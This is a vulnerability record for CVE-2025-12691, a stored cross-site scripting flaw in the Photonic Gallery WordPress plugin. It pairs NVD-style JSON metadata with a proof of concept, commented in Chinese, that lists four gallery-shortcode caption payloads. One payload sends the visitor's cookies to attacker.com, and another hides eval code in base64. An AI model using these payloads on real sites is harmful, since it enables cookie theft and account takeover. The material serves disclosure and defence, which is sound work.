CVE-2025-12691

<!-- WordPress Photonic Plugin XSS PoC --> <!-- 要求：具有Contributor角色权限 --> <!-- 方法1：通过短代码注入 --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='<img src=x onerror=alert(document.cookie)>'] <!-- 方法2：通过SmugMug类型注入 --> [gallery type='smugmug' view='photo' caption='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- 方法3：绕过过滤的payload --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='" onmouseover="alert(1)" data-x="'] <!-- 方法4：利用data-title属性 --> [gallery type='flickr' view='slideshow' object_ids='12345678@N00' data_caption='<svg onload=eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))>']

{"cve": {"id": "CVE-2025-12691", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:48.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photonic Gallery & Lightbox for Flickr, SmugMug & Others plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's lightbox functionality in all versions up to, and including, 3.21 due to insufficient input sanitization and output escaping on user supplied caption attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3392284%40photonic&old=3336902%40photonic&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9f21f4a4-4b50-4396-8d94-26d68c0eb3a3?source=cve", "source": "[email protected]"}]}}